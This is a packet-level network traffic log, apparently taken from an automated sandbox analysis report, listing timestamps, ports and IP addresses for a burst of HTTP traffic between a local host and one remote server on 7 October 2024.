Oct 7, 2024 17:22:07.035861015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.035902023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035916090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.035936117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035975933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035988092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.035988092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036006927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036046982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036046982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036057949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036087036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036099911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036118984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036151886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036164999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036164999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036184072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036195040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036218882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036228895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036254883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036288977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036297083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036297083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036328077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036360025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036371946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036371946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036392927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036426067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036437988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036468983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036468983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036470890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036504030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036546946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036546946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036554098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036602974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036634922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036649942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036649942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036667109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036715031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036715031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036716938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036751032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036767960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036782980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036792040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036832094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036864996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036875963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036875963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036894083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036909103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036927938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036963940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.036972046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036972046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.036997080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037024021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037029982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037061930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037072897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037072897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037095070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037127018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037137985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037137985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037159920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037174940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037192106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037225962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037236929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037236929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037255049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037286997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037297010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037297010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037321091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037348986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037365913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037365913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037379980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037415981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037425041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037425041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037447929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037461042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037481070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037513971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037525892 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037525892 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037547112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037580013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037590027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037590027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037612915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037651062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037656069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037656069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037700891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037734032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037746906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037746906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037785053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037786007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037822008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037854910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037866116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037866116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037883997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037916899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037935019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037935019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037949085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.037961006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.037981033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038013935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038023949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038023949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038064003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038085938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038096905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038130999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038140059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038140059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038163900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038212061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038213015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038245916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038259029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038259029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038279057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038312912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038322926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038322926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038366079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038417101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038417101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038417101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038450956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038476944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038482904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038623095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038623095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038629055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038678885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038723946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038723946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038728952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038763046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038805962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038806915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038811922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038856983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038861990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038892984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038932085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038932085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.038943052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038975000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.038990974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039024115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039057970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039067030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039067030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039091110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039122105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039132118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039132118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039155006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039164066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039187908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039221048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039227962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039227962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039254904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039268017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039290905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039323092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039335012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039335012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039360046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039401054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039401054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039412022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039443970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039475918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039485931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039485931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039508104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039540052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039545059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039578915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039588928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039588928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039612055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039644003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039654970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039654970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039681911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039714098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039724112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039724112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039750099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039782047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039789915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039789915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039817095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039849997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039863110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039863110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039881945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039885044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039915085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039947987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.039958000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039958000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.039982080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.040008068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.040016890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.040051937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.040061951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.040061951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.040086031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.040121078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.040132046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.040132046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.040163994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.078386068 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 7, 2024 17:22:07.078474998 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 7, 2024 17:22:07.119461060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119487047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119502068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119517088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119527102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119534016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119556904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119571924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119586945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119590998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119590998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119602919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119633913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119633913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119704008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119718075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119733095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119746923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119761944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119770050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119770050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119776964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119791031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119805098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119821072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119821072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119824886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119838953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119854927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119863033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119863033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119957924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119972944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119988918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.119993925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.119993925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120003939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120018959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120033026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120045900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120045900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120049000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120064020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120100021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120100021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120845079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120896101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120910883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120919943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120949984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120949984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.120975971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.120990038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121005058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121021986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121028900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121028900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121061087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121062040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121066093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121079922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121094942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121109009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121117115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121117115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121149063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121149063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121189117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121205091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121227980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121242046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121242046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121243000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121257067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121273041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121278048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121278048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121289015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121304035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121311903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121311903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121320009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121345043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121345043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121351004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121388912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121388912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121479988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121494055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121509075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121524096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121531963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121531963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121539116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121553898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121565104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121566057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.121568918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.121583939 CEST	80	49704	46.8.231.109	192.168.2.5
